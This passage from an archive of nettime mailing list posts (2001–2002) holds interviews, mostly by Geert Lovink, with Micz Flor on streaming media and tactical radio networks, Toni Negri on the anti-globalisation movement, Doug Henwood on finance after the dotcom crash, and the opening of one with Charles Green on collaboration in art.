and\ncodecs is a fact, media itself become less and less clearly defined.\n\nQuicktime was one of the first to think of media files not only as linear,\nframe based data-streams. Instead they thought of their media files as\ncontainers where you can dump all your individual media into and add a\ntime line and that's that. So audio might be using one type of compression\nand video another. And you could even add some stills, and text and so on.\nAt the other end, the Player will take a look at the media container, pick\nup the time line and the instructions and see what codecs are available to\nplay what's in the container. In this case you might find a situation\nwhere the player will play no video at some parts, because it lacks the\nright codec for the image, but the audio is fine. Later on, it all looks\njust perfect.\n\nThinking of media as a container is far removed from the close connection\nbetween content and technology that we know from the analogue world. Try\nto play an audiotape with your VHS player and you know what I mean.\n\nUnderstanding media files as containers will be the base camp. So there\nyou have all the confusion you want in one box: the player is an empty\nshell, the media file is an empty container and inside is a multitude of\nmedia using a multitude of codecs.\n\nYou were asking if I thought such confusion is a good or a bad thing. It's\ncertainly a lot of fun to look at. I guess as long as the concept of the\n'media file' remains as open as it is today, it is very adequate in\nallowing adjustments. Some technical limitations suddenly are no longer\nobstacles pulling some formats suddenly into the ballgame. At the same\ntime, there is always enough room to throw them out again at some point,\nas many solutions used on the Internet today for streaming media still\ncarry restrictions of their former use - again, take MP3 as an example.\n\nThe confusion shows one thing clearly. Those big players with the\nfinancial muscle to flood the market with their solutions don't seem to be\nproviding the best solutions. Or why else would the confusion remain and\nsmaller developers suddenly become essential players in the game.\n\nGL: Where would you like to see the critical and cultural streaming media\npractices go to? Unlike pirate radio or mini FM net.radio does not (yet)\nhave legal troubles. Do you see the freedom to narrowcast turning into a\nclosed and self-satisfied, stagnating subculture? Napster was a lost\nopportunity.\n\nMF: It is hard to imagine that streaming or exchanging audio over the\nInternet would face the same restrictions and out-of-proportion penalties\nthat mini FM or radio piracy are threatened by. Having said this, the\nInternet also provides the best possible framework by which restrictions\nand penalties could be coerced on deviant users. Confusion again.\n\nWhat a complicated way to charge someone who listens to FM radio. There is\nno way to track reliably and on a large scale who is switching on their\nreceivers to listen to a program. What an easy thing to track who is\nlistening to a program over the Internet. And in most cases there is\nalready a payment process in place: the phone bill. From that point of\nview it seems so easy to imagine restrictions and charges for Internet\nlisteners and broadcasters.\n\nThe fact that there seems to be a legal gap where net.radio has escaped\ninto, says little about the endurance this situation might have. The\nsilence and indecisive actions from legal bodies only hints at the scale\nat which adequate means of restrictions are required to tackle the\n'problem'. The silence is anything but peaceful and the partial eruptions\nas in the case of discussing new forms of copyright laws hint at the\ndirection this might take.\n\nAs the independent scene is using the new distribution channels for their\nmeans, and with little success of the large multi-national corporations to\nuse the same channels for their means, the big players have chosen\ndifferent paths. Copyright lobbyists are not fighting over peanuts in\ncourt with some net.radio broadcasters from Manchester. Instead they are\nworking behind the scenes to implement an all-encompassing solution.\n\nIn the case of software piracy you can already see how lobbyists managed\nto get governments on their sides. In the Czech Republic for example, the\ngovernment can ask you to present your software licenses alongside with\nyour receipts when checking your books. Why? Well, for no other reason as\nto do the work for the software industries and identify cases of software\npiracy - which will then be taken to court. It sounds like its against the\nlaw, but most recently this practice has become law in itself. The\ngovernment turned itself into a tool for the software industry.\n\nUnfortunately I believe it is on that level that multi-nationals are using\ntheir muscle to put these levels of coercion into place.\n\nGL: Which are issues for 'tactical' interventions for you?\n\nMF: Using a combination of old and new media still provides a powerful\ntool against national regulations in many countries. The ANEM network,\nwhich was established in FRY (Federal Republic of Yugoslavia) by local\nradio stations like B92 and others across the Balkan region, is still a\ngood example.\n\nIn the FRY at the time there was no way you could get a national license\nfor radio broadcasting, neither could you get the technology into place to\nhave a network of transceivers which would carry a signal throughout the\ncountry. However, local licenses for smaller stations were possible to\nget. So in order to bring independent news to many regions of FRY, news\nwere collected and produced at a central hub in Belgrade, then streamed\nout of the country through the Internet, picked up by a satellite\ntransmitter and put onto a satellite. From there, all the decentralized,\nsmall stations could receive the signal with an ordinary satellite\nreceiver and rebroadcast it on their local frequency. The combined radio\nfootprint of all the participating radio stations at the time reached\naround 65% of Yugoslavia - without breaking any laws, without any\nexpensive technology and without dismantling the decentralized nature of\nthe network, as only a small percentage of their program was used for news\ncoverage.\n\nA similar network has established itself in Indonesia, using the audio\ntrack of a spare TV satellite channel to get the signal into the sky.\nThere, over 250 stations are participating in the network. And we are\ncurrently working with some local radio stations in Nepal on a similar\nsituation. However, Nepal provides even more obstacles as independent\nmedia is a very young phenomenon and neither the network technology nor\nthe journalistic experience are in place to manage the structure.\n\nGL: Often people associate streaming media with broadband and fat pipes.\nYou have worked with streaming media initiatives, for instance in\nIndonesia. Is it fair to wipe out technological differences worldwide (in\nterms of resources and infrastructure) and say that streaming media is\nthere to be used by all, under every possible circumstance?\n\nMF: Streaming media is available in almost any corner of the world where\ntechnology is available. In most cases streaming media would mean nothing\nelse but a phone line. Using a cellular phone, you are using streaming\ntechnology on a low bit rate of about 8 kBps.\n\nThe Internet, of course, is not available in all corners of the world. The\nIndonesian network I described above started their services with providing\nnews bulletins over the Internet. Based in Jakarta, they could find a\nprovider that would host and distribute their files. But with only one\ngovernmental ISP in the far regions of the country who themselves only had\na 56k modem connecting all users with Indonesia and then going into the\nbackbone hell knows where, this was not a feasible solution. Today they\nare retrieving news from remote stations via cellular phones, digitize the\nmaterial, add their own commentary in the studio and then push it up onto\nthe satellite.\n\nWithout a reliable, safe and reasonably fast Internet connection in place,\nsuch tactical networks need to be centrally organized. In Nepal the\nsituation we discovered is even more difficult. A commercial TV station,\nbroadcasting satellite television every day, is producing the shows and\nnews in Nepal, then they put the tapes into a suitcase, someone flies to\nBangkok and they put the material on the satellite there. So television\nwill deliver yesterdays news. This might sound strange, but once you are\nabout 200 kilometers outside Katmandu, print media will possibly be two\ndays late anyway. And then you might realize that there are not that many\npeople who can read.\n\nSometimes it is surprising to see that online here in the West we might be\nable to get radio stations from very remote places in reasonable quality.\nThe reality is that you might not be able to pick up the signal 10\nkilometers from the station itself. In many cases, streaming over the\nInternet is only available because some local ISP puts a radio receiver\ninto their office and takes the signal off that radio and into the\nInternet there and then. The station producing the program might not even\nhave an Internet access itself.\n\nSo you can see that right now it is easier to get a streaming signal out\nof developing areas and into the Western world than providing the\ninformation to a neighboring village, island (Indonesia) or valley\n(Nepal).\n\nThe development for radio networks in these areas is lagging behind, but\ncreative solutions are filling the gaps the infrastructure leaves open for\nthe time being. But building a decentralized network does require a\nreasonable infrastructure to allow the exchange between stations in the\nperiphery, without requiring a central hub.\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00220",
                        "date": "Fri, 26 Apr 2002 07:03:20 +1000",
                        "to": "\"nettime-l\" <nettime-l {AT} bbs.thing.net>",
                        "message-id": "200204260219.WAA25097 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0204/msg00220.html",
                        "content-type": "text/plai",
                        "author_name": "geert lovink",
                        "subject": "<nettime> Interview with Micz Flor: Tactics of Streaming"
                    }
                ],
                "message-id": "200204250814.EAA30912 {AT} bbs.thing.net",
                "date": "Thu, 25 Apr 2002 08:40:34 +1000",
                "content-type": "text/plai"
            },
            {
                "content-type": "text/plai",
                "from": "geert <geert {AT} xs4all.nl>",
                "id": "00142",
                "content": "\n(fwd. from the generation-online and posted to nettime with the permission\nof arianna)\n\nHi,\n\n this is an interview that first appeared in Le Monde and then in La Stampa.\nI have quickly translated it into English. See what you think. The original\nfrench and the italian translation with links to the papers below.\n\nArianna\n\nPorto Alegre Sad Empire, Toni Negri philosopher\nBy Stephane Mandard\n\nOn the eve of the World Social Forum, which will take place from the 31st of\nJanuary till the 5th of February in Porto Alegre, we have interviewed the\nPaduan philosopher Toni Negri, charged with armed insurrection and currently\nunder house arrest.\n\nNumerous representatives of the liberal anti-globalisation movement have\nturned Empire, the book you wrote with Michael Hardt, into their 'little red\nbook'. Do you agree with them?\n\n\"Porto Alegre is not the Paris Commune! However, the World Social Forum is\nan important moment, a place where an extraordinary generosity and militant\nabilities are about to meet. I am in agreement with the spirit and the\nobjectives of the movement: to construct, at a global level, an opposition\nto liberalism and to develop a possible alternative, within the framework of\nglobalisation. It is a fundamental stage in the construction of a\ncounter-Empire. The anti-liberal movement, on the other hand, gives\nexpression to many different positions. And I don't agree with all of them.\"\n\nAre you referring to the anti-Americanism that tempts some parts of the\nmovement?\n\n\"My impression is that these associations are made by the adversaries of the\nmovement. To be anti-American is completely idiotic. One needs to overcome\nthe false view that makes of the American government the sole enemy. The\nAmerican government is the most important amongst the powers to contest, but\nit isn't the only one. It wouldn't exist if the ruling classes of world\ncapitalism didn't give it their complete support. The most important\nstruggle, for the anti-liberal movement, is to manage to mobilise American\nworkers.\"\n\nWhat positions do you distance yourself from?\n\n\"From the fact that we really need to break with Third Worldism, and Porto\nAlegre must do it. Third Worldism is a pernicious illusion: it hasn't\nstruggled against capitalism because it's never seen it as only one thing at\nthe global level. If we wanted to put together a world forum and a world\nworkers organisation we'd need to deal with this very precise awareness:\nthat there no longer is a North-South separation, because there are no more\ngeographical differences amongst Nation-States.\"\n\nHow do you explain then the presence of a trend that supports national\nsovereignty, and its representation at Porto Alegre by Jean-Pierre\nChevenement?\n\n\" I think that this is precisely the weak point of the movement. A weakness\nthat cultivates the illusion of going back to a pre-globalisation era. The\nNation-State is surpassed. Globalisation was not caused by the will of\nAmerican power. Moreover, the real anti-Americanism is that of the makers of\nnational sovereignty. Empire, globalisation, derives from the fact that\nNation-States can no longer control within their borders the movements of\ncapital and conflicts.\nFor three or four centuries the nation-state has been a formidable locus for\nthe development of capital and the regulation of society. This historical\nsituation is surpassed because not even the Americans manage to preserve the\nnation-state form.\nWe find ourselves in the paradoxical situation where the US president is\nelected with foreign investments: the capital of Saudi oil barons is so\ncompletely integrated with the government of American affairs that we can\nreally no longer say that the nation-state still functions.\"\n\nDoes the war undertaken by the west against terrorism risk to criminalize\nthe anti-globalisation movement?\n\n\" I'm afraid it could. What's happening at this moment is neither a war nor\na police operation.  It could well be a new form to exercise imperial force.\nIt is a war that becomes less and less destructive and increasingly ordering\nand constituent. It is obvious that there will be an extension of\nliberticidal laws. Having said that, I am fairly optimistic, because there\nis a resistance to organise, counter-powers to oppose to this phenomenon.\"\n\nDoes the struggle of the Porto Alegre opponents inaugurate what you call 'a\nnew phase in the struggle of the exploited against the power of capital'?\n\n\"I believe so, I hope so. But the problem isn't just a matter of fighting\ncapital; it is also one of organisation. I hope that Porto Alegre will allow\nit. We must say that we don't want to live in a world like this, that we\nwant to get away from a power that tries to manipulate even our lives, our\naffects, our desires. Today the exploited are not just the manual workers,\nbut also the social multitudes: workers, surely, but also students,\nflexible-workers, unemployed, immigrants, women, black market workers,\ninterns. It is important to be well aware that we find ourselves faced with\nnew political subjects. The new left cannot but emerge from the anti-liberal\nmovement.\"\n\nWhy?\n\n\"In Italy, for example, the rebirth of the left will come from the movement:\nmore and more ex-militants of the Italian communist party are approaching\nit.\"\n\nBut there are groups, such as Attac, that refuse to become a political\nmovement.\n\n\" I think that the movement has no intention of limiting itself to\ncontestation: it is a movement of counter-power. It certainly isn't\nfascinated by power, and the liberation from this flattery has been a\npainful process. Nonetheless power must be subverted. How? Once we used to\ndistinguish between different stages: first a workers and unionist\nresistance, then an insurrectional phase and finally the constituent one.\nToday there is neither a distinction nor transition; there is simply the\nmovement. The new political subject that the movement embodies is\nincreasingly a constituent subject of resistance, a subject of struggle and\ncreation. It opposes whilst proposing alternatives. It chooses to flee from\npower and it designs another world. That world is possible, but the\nmultitude needs to get organised.\"\n\nThe movement is almost co-substantial to the Internet. Is it its best\nweapon?\n\n\"Internet is a tool, certainly a precious one but it can fall under the\ncontrol of the capitalist system. On this terrain, today, the conflict is\nevident. But it is not only a question of control, there is that of\nproperty, in the case of Internet that of patents and intellectual\ncopyrights. Amongst the militants I know the problem is increasingly not\nonly that of private or public property, but also the definition of a new\ncommon good. People start thinking that all services -education, health and\ntransports, social welfare - must be considered a collective good, including\nthose linked to intellectual labour. It is a question of defending the\nInternet function as a tool of the movement, but it is also the material\nproblem of organising a new society.\"\n\nhttp://www.lemonde.fr/recherche_articleweb/1,6861,260198,00.html\nhttp://www.lastampa.it/EDICOLA/cultura/463575.htm\n\n_______________________________________________\nGeneration_online mailing list\nGeneration_online {AT} coyote.kein.org\nhttp://coyote.kein.org/mailman/listinfo/generation_online\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Wed, 30 Jan 2002 14:58:51 +1100",
                "to": "nettime-l <nettime-l {AT} bbs.thing.net>",
                "message-id": "200201300946.EAA14769 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0201/msg00142.html",
                "list": "nettime_l",
                "author_name": "geert",
                "subject": "<nettime> Interview with Toni Negri about Porto Alegr"
            },
            {
                "content-type": "text/plai",
                "from": "geert lovink <geert {AT} xs4all.nl>",
                "id": "00100",
                "content": "\nFinance and Economics after the Dotcom Crash\n\nInterview with Doug Henwood\n\nBy Geert Lovink\n\n\n\nDoug Henwood is one of the few marxist economists whose opinions and\nanalyses of the world of finance and trade are being taken serious by the\nmainstream media. Seen as a toy rebel Wall Street analysts love to hate him.\nDoug is very friendly and open, quite the opposite of what you may fear\ndogmatic revolutionaries turned crusty academics look like. Unlike most of\nhis comrades Henwood is able to remain in dialogue with his liberal and\nconservative opponents. In public debates he can surprise you with his\nmarvelous negative dialectics. Online he is sharp, short and precise.\n\n\n\nIn an interview with salon.com Doug Henwood described his position as such:\n\"Wall Street is populated by some of the most cynical, greedy bastards on\nearth. But it's not enough just to say that. The last thing I want to do is\nsound like a guy on a soapbox moralizing. It's not their personal moral\ncharacteristics that create the system they populate. Capitalism is\nessentially an amoral system based on exploitation. And Wall Street is part\nof the class struggle, to use an unfashionable term. But most people don't\nrealize this, so the market looks incomprehensible to them.\"\n(http://www.salon.com/it/feature/1998/12/21feature.html).\n\n\n\nDoug Henwood publishes his own monthly newsletter on economics and politics\nin the USA and the world at large called the Left Business Observer. It's a\nsubscription service, actually not all that expensive, specially if you\ncompare it with the thousands of dollar one has to pay for newsletters from\nfor example Esther Dyson or George Gilder. Lately you can pay online with a\ncredit card and get a .pdf version. Separate from the LBO newsletter is the\nLBO mailinglist, a very active and high volume debating list which deals\nwith all the US-Americans cares of and disagrees about.\n\n\n\nHenwood is also a contributing editor of The Nation and does a weekly\nprogram on WBIA radio in New York. His book, The State of the USA Atlas, was\npublished by Simon & Schuster in 1994. The book which made him famous is\nsimply called Wall Street and was published by Verso in 1997 to great\nacclaim and impressively vigorous sales (over 20,000). His upcoming book A\nNew Economy? will be published by Verso in a little while. Henwood\npostphoned the publishing last year. He can now write the history of this\nonce so fashionable financial discourse.\n\n\n\nGL: With technology stocks in ruins, how do you look back at the hilarious\nphase of dotcom.mania? What is merely a media hype, in terms of a hyped up\nideology, a simulacrum perhaps, with out of control stock values, pushed up\nby vapor capital. Or rather something more substantial? In other words, how,\nin your analysis, does the manic tulipomania aspect of the New Economy,\nrelate to broader economic changes in the nineties?\n\nDH: Surely there were real technical changes - faster processors, better\ngraphics, bigger networks. But, as they often do, investors got way carried\naway with that, and those that didn't spin tales of New Paradigms got caught\nup in them. More broadly, the long U.S. bull market - which began in 1982,\nwas interrupted only by the 1987 crash and the brief 1990 bear market, but\nbasically ran for almost two decades - was at first a response to\nfundamentals. First, there was a long upswing in corporate profitability,\nreversing the long downslide of the 1970s, that began around 1981 or 1982\nand ran through 1996 or 1997. It made perfect sense for stocks to rise in\nreaction. And second, there was the great political victory of liberal\ncapital - the vanquishing not just of the USSR, but even of \"nicer\" versions\nof capitalism like social democracy in the North and import substitution in\nthe South. That was a real gain for capital, and the bull market was its\nfinancial reflection (just as \"inflation\" in the 1970s was shorthand for the\nthreats to capitalist control, from wildcat strikes to street demos to the\nThird World's demand for a new redistributionist economic order).\n\nGL: To what extend is the dotcom bashing not a mirror effect of the dotcom\npushing? Scapegoats have to found. Journalists and the Wall Street\nSecurities and Exchange Commission are investigating conflicts of interests\nof financial analysts. Consulting firms such as Accenture may have played a\ndubious too. Do we have to expect new codes of conduct and a regulation of\nthe (online) brokerage industry? And what difference does that make? Would\nit stop the ongoing influx of money into mutual funds? Has the popular\nbelief system of owning stocks suffered fatal damages?\n\nDH: Fatal damage, no. It's going to take a long bear market for that. So\nfar, it's just some cuts and bruises; the broad U.S. public hasn't given up\nyet. When they do, it'll probably be time to buy, too. After a bubble\nbursts, there's always a search for a scapegoat. In  the 1980s, it was\nMichael Milken and his junk bond universe - even though Wall Street busily\nemulated him, and he initially had the approval of the authorities to do his\nwork. (A friend who worked in the Federal Reserve Bank of New York in the\n1980s told me that the central bank was nervous about Milken and his\ncronies, but didn't do anything, because the Reagan administration had given\nthe junk bond cowboys and corporate raiders a green light.) And now it looks\nlike it's going to be Frank Quattrone and his shop within Credit Suisse\nFirst Boston - another west coast bad guy, just like Milken, even though\neveryone on Wall Street was trying to get in on the game. No doubt there\nwill be calls for self-policing and new codes of conduct, but this is so\nmuch at the heart of the way speculative markets work that it's hard to see\nhow you could \"fix the abuses\" without shutting the whole damn thing down.\n\nGL: Until mid 2000 there was hardly any radical critique of the new ecomomy,\nnot even in leftist academic and activist circles. The so-called Seattle\nanti-globalization movement is mainly focussed on issues of labor, trade and\ndebt. There is a bit done on global monetary policy, but not much. There is\nthis odd historical singularity of Seattle and the tech stock craze reaching\nits peak in December 1999. Do you see a change here or is the stock market\nstill, by and large, terra incognito for political and cultural critics?\n\nDH: Mostly the latter, except for the occasional symbolic reference. It's\ncommon among cultural types, ranging from airheads like Jean Baudrillard to\nserious and generally admirable people like Fredric Jameson, to regard\nfinance as divorced completely from the real world  - either irrelevant or\nmalignant, but almost never seen as integral to the functioning of modern\ncapitalism (and by modern I mean since the emergence of the large publicly\nowned corporation at the turn of the last century). The corporate form\ndepends on stable and happy stock markets; they're the institutions through\nwhich ownership is arranged and rearranged. And the markets can have a big\neffect on the real world - as the dot.com bubble shows to a historic\nextreme.\n\n\n\nGL: So you critique the notion of a parallel universe where capital\ncirculates. Money has not migrated to heaven, as Hakim Bey once stated?\nCould you extend a bit on where this idea of the 'relative autonomy of\nfinance' getting out of hand, is coming from?\n\nDH: You could certainly get that otherworldy impression just from  watching\ncapital bounce around. Something like $1.2 trillion a day, for example,\npasses through the main New York bank wire, which includes most of the\nworld's legal transactions involving the U.S.  dollar. That's an\nunimaginably large amount - a value equal to U.S. GDP turns over in a bit\nover a week, and to total world product in about a month. So it's easy to\nconclude from this that it's just pure  speculation, unmoored from any\nrelation to the real world. But to conclude that would be to over look at\nleast two important facts: 1) speculation itself has real world\nconsequences, like, say, the\nremarkable inflation of the Southeast Asian bubble and its disastrous\nbreakage a few years ago, and 2) financial instruments, no matter how\nrapidly they're turned over, represent claims on real-world assets - bonds\nare a claim on a firm or government's income, and shares are certificates of\nactual ownership, and shareholders have become increasingly assertive over\nthe last two decades in setting corporate policy (downsizing, outsourcing,\netc.). That's the last two decades in the U.S.; shareholder activism is just\nbeginning in Europe, and the consequences, unless they're resisted, should\nbe lower wages, less generous benefits, more tenuous employment, and\npared-back welfare states. Since most people aren't aware of the effect of\nthe shareholder revolution, they ascribe the increased nastiness of economic\nlife to abstract, agentless entities like \"technology\" and \"globalization,\"\nas if there weren't identifiable sets of interests behind those forces.\n\nGL: What do you think of Robert Kurz' idea of casino capitalism? In general,\nhow do see, contemporary marxism analyzing the unprecedented growth of the\n>financial sector over the last twenty years? It seems that not much has\n>happened since Rudolf Hilferding wrote his study \"Das Finanzkapital,\" back\nin 1910 (except for your 'Wall St.' of course).\n\nDH: I'm very critical of Hilferding in Wall Street for many reasons, most\nrelevantly to this exchange, for arguing that the German-style model of\ncapitalism, with a handful of big banks owning big industrial concerns, was\nthe future of the system, and that the Anglo-American\nstock-market system was on the way out. He couldn't have been more  wrong;\nas the gloomy Wall Street economist Henry Kaufmann put it a few years ago,\nwe're seeing the Americanization of global finance. Even development finance\nfor the poor countries is coming more and more from bond and stock markets,\nwith less from commercial banks and official development banks.\n\nHilferding's lingering influence - given a shot in the arm because Lenin\ntook up his analysis in Imperialism - is one reason contemporary Marxists\nhave, with a few noble eceptions, paid little  attention to finance. Also,\nmany Marxists think of finance as purely secondary or epiphenomenal, a\nderivative or reflection of the real action in production, rather than being\nsomething with a life of its own or something having any influence on\nproduction. This seems especially wrong when you think about the role of\nfinancial markets and institutions in arranging ownership; like I said\nbefore, financial instruments are claims on other people's incomes, and\nshares are certificates of ownership of the means of production. Why\nMarxists should pay so little attention to these instruments of class\nformation and power is a mystery to me; maybe they don't go too far beyond\nthe level of appearance, and sometimes it appears that finance is\nepiphenomenal or parasitic. This neglect certainly can't be blamed on Marx\nhimself; while vol. 1 of Capital reads a bit like a goldbug's tract in\nplaces, elsewhere - vol. 3 of Capital, Theories of Surplus Value, the\nGrundrisse - Marx wrote some amazingly prescient and evocative things about\nthe credit system and the joint-stock company.\nThe problem I have with terms like \"casino capitalism\" is that it can imply\nthere's a nicer, non-casino capitalism we should or could somehow get back\nto, and also implies that production itself is free from the speculative\nmotive. But for most industrial capitalists, the making of goods or\nprovision of services is just a means to the accumulation of money.\nExpanding your hoard of money is what the whole system is all about.\n\nGL: Third Way liberal-social democratic circles are still promoting\nderegulation. What do you think of calls from ATTAC and similar movements to\nregulate global finance, for instance through the introduction of the Tobin\ntax (a micro tax on financial transactions)?\n\n\n\nDH: It's better than nothing, but I think it's at once too little and too\nmuch. Too little in the sense that just taxing transactions doesn't address\nthe relation of the financial markets to the assertion of ownership and\nclass power, and too much in the sense that capital regards any attack on\nits freedom of movement as the political equivalent of revolution, and will\nfight it accordingly. So I don't entirely see why you should take on such a\nbig battle for such a minor goal. In politics, which is all about\ncompromise, it doesn't make sense to start out already compromised; why not\nmake maximalist demands to start with, even if you're going to do little\nmore than win reforms?\n\n\n\nGL: What would be a maximalist demand? Closure of futures markets? Cracking\ndown on dubious IPOs? How can the shareholder society be undermined, other\nthen see ordinary people being punished, losing their retirement funds?\n\nDH: Well, there was the old Swedish approach, wage-earner funds, which got\nquashed because Swedish capital didn't like the idea (and they were\nconsiderably watered down between original conception and actual\nimplementation). Basically, these were pots of money funded through taxes on\ncorporate profits whose aim was to buy up outstanding shares and manage them\non behalf of the working class as a whole. What I'd like to see over the\nlong term is outside shareholders eliminated. They serve no useful social\nfunction. I know that seems fanciful in today's political environment, but\nyou never get anywhere in life without making big demands to start with.\nI'd also like to make the point that there's something illusory and\nfetishistic about the very notion of retirement funds. Individuals or\nfamilies can save for a while, then draw down their savings, but societies\nas a whole cannot. Today's retirees can't be sustained using yesterday's\nsavings - the money has to come from today. Effectively, today's stock\nbuyers are what fund today's stock  sellers. Just like a public pension\nsystem, a private one depends on  the cross-generational transfer of funds\nfrom workers to retirees.\n\nGL: If, as you say, expanding your hoard of money is what the whole system\nis all about, then were is expansion of the overall amount of assets border\nto inflation? If the accumulation of capital is not related to anyway, with\ncapital a free floating signifier to say, then this is hardly a sustainable\nmodel. I am not apocalypic in nature, and neither are you, I guess. What do\nyou think about a total crash of Wall Street? It seems so likely, if you\nthink about it, and has been predicted numerous times. Greenspan is said to\nhave a crash prevented from happening, for example in August 1998, during\nthe almost forgotten hedge fund crisis.\n\nDH: It seems unsustainable, for sure, but it somehow manages to sustain\nitself. Even with the Nasdaq so far off its peak, U.S. stocks remain\novervalued by historical standards. You're right that I'm not apocalyptic -\nif anything, I'm the opposite, easily convinced the big bourgeoisie will\nsave itself from ruin one time after another. A crash is always possible,\nbut I think it's more likely we'll see a long period of weak stock markets\nand below-average returns - after almost two decades of unprecedented\nbullishness.\n\nGL: Are Tom Peters, George Gilder or Kevin Kelly liable for what they have\nabout the unlimited potential of the New Economy? What do you think about\nsuch calls, to bring intellectuals to court, because they pushed technology\nstocks up? What type of intellectuals do we deal with in this case? Are they\nresponsible comparable to the progressive intellectuals in the West\nsupporting Stalin during the thirties? And do you find yourself liable for\nwhat you write in your Left Business Observer newsletter? As the title says,\nyou are only \"observing.\" Is it useful to push the discourse into the\ndirection of making everyone compliant?\n\nDH: Not at all. In the cases of analysts who were making recommendations of\nludicrous stocks that their investment banking departments were\nunderwriting, I think there should be some liability - civil and criminal -\nthere. But as for shills and intellectuals (and with the likes of Gilder and\nPeters, it's hard to tell which they were), I'm all for defending their\nfreedom to be ridiculous. If grownups are self-deluded enough to believe\nthem, what can I say? I'm something of a free-speech fundamentalist.\n\n\n\nHenwood's homepage: http://www.panix.com/~dhenwood/LBO_home.html\n\nHis e-mail address: dhenwood {AT} panix.com\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Thu, 20 Dec 2001 16:43:45 +1100",
                "to": "nettime-l <nettime-l {AT} bbs.thing.net>",
                "message-id": "200112201929.OAA22253 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0112/msg00100.html",
                "list": "nettime_l",
                "author_name": "geert lovink",
                "subject": "<nettime> Interview with Doug Henwood"
            },
            {
                "id": "00034",
                "content": "\nThe Art of Collaboration\nAn Interview with Charles Green\nAustralian Art Critic and Author of The Third Hand, Collaboration in Art\nfrom Conceptualism to Postmodernism\nBy Geert Lovink\n\nCharles Green has written an extraordinary rich and well-documented work\nabout conceptual art in the late sixties and seventies. As the title\nindicates The Third Hand shapes art history in a methodological matter.\nCollaboration is a metatag to order works. There is no talk here about\nschools or chronologies. Instead there are specific contextualized works,\nevents, happenings, installations, breaking away from painting and the\ncave of language, meant to capture art. For Green, collaboration became an\nentry point to open up histories which, despite their fame, are at brink\nof being forgotten. Collaboration is not so much a mode of production as\nit is a trajectory. Green is drawing traces which makes it possible to\ntell stories and make the often abstract and complex conceptual art works\nalive again. This alternative way of reconstructing art history pays\nrespect to the original intentions of the artists. In separate chapters\nCharles Green deals with Gilbert & George, Marina Abramovic and Ulay,\nChristo and Jeanne-Claude, Joseph Kosuth, Ian Burns, Helen Mayer Harrison\nand Newton Harrison and a few more. Having collaborated myself a great\ndeal, for instance as a member of the media theorist association Adilkno,\nmy interest in this topic grew when Klaus Theweleit published his Book of\nKings (Part I, 1988) in which he describes the psycho-analytic aspects of\nartist collaborations. Theweleit's account is a bloody one and deals with\nthe (male) violence, using female partners to metamorphorize into a next,\nhigher stage of art production. Charles Green has refrained from\npsychologism. The Third Hand is not dealing with the internal dynamics.\nInstead teamwork is presented as an almost necessary step towards 80s\npostmoderism and its questioning of identities and reconfigurations of\nmeaning. In this email exchange Charles and I have tried to put the 70s\nconceptual art experiences into the contemporary framework of new media.\n\nGL: After you have done so much research, would you say that the origin of\ncollaboration in art since the sixties is lying in the crisis of the 19th\ncentury ideal of the artist as universal genius?\n\nCG: No, I don't see a crisis created by an ideal of universal genius as\nbehind any origin of collaboration in art as a widespread phenomenon\nduring the 1960s. In my book, The Third Hand, I was trying to be both more\nspecific and more generalized, and above all my narrative was relevant to\nart practice right now. On the one hand I wanted to re-explain in a very\nfocused way a narrow, definite period - the ten years or so between around\n1968 and 1978. You see, I think that period is absolutely foundational to\nart today, but its significance got lost during the period of classic\npostmodernism in the 1980s and then again in the identity politics-based\nearly 1990s. The period is one of those fascinating phases, riven by\ncrisis and exploding with possibilities and multiple futures, that require\nvery patient rethinking, and this rethinking is just beginning now. I'm\ncertainly not the only person to want to do this, but I chose to think\nthis through collaboration, and it so happens for multiple reasons this is\nimportant all through visual culture, including internet culture, now. I\nfind most of the explanations of that time, in art history at least,\nmyopic. This is partly on account of the authors' generational status, as\nmembers of a generation that came to self-consciousness immediately AFTER\nthe period. I'm thinking of writers like Hal Foster, for example, who are\nslightly too young to have first hand experience of the period. And of\npeople who did, I know also that participants who write, figures like Lucy\nLippard, Harald Szeemann, Benjamin Buchloh, the artist Jeff Wall, have\npart of a story to communicate but not a panoramic view, since they are so\nimplicated as participants in the action. On the other hand, since my main\narea of interest both as an artist and as an art historian is the art of\nour time, is contemporary art, I wanted to see if an intuition, that the\nart that interests me most represents the resurfacing of those 1968-78\npoints of origin but at different points on the map, was right. The most\nexciting art of our time often centers around new media, around really\nwild new forms of author/artist, often OUTSIDE New York in centers like\nTaipei, Seoul, Sydney. We DO see much of the best art circulating in the\nglobalized networks of curated exhibitions, so I'm not hypothesizing an\nexcluded canon at all. But throughout the book, I saw the 20th century,\nnot the 19th, as the locus of the problem: the memory crisis best\nformulated by Benjamin is manifest at the start of modernity, but it\nintersects throughout this 20th century - so different in the 21st century\n- with the refusal of optical and visual knowledge traced so clearly by\nMartin Jay. That is one aspect underneath the late 1960s crisis, but it is\nstill only one aspect. Another was the shift in the nature of artistic\nwork; yet another - my particular concern - was the shift in the nature of\nthe artist. All occur in response to crises specific to that moment but\npresent, as your question suggests, from the start of modernity as well. I\nsuppose ultimately the collaboration area that interests me lies in the\ntensions thrown up just BEFORE there is any clear sign that the transition\nfrom modernism to postmodernism is underway. I definitely do not think\nthat collaboration in art is particularly radical, not that it arose in\nthe 1960s. But I do think that at this foundational time it occupies a\nspecially instructive place.\n\nGL: In the period you discuss, from the 60s to 80s, specialization has\nbecome a general social phenomenon, there is more than the 'defeat of\npainting'. Don't you think that collaboration within the arts should be\nseen in the broader perspective of a rapidly increasing division of labour\nand professionalization during that period?\n\nCG: The idea of a defeat of 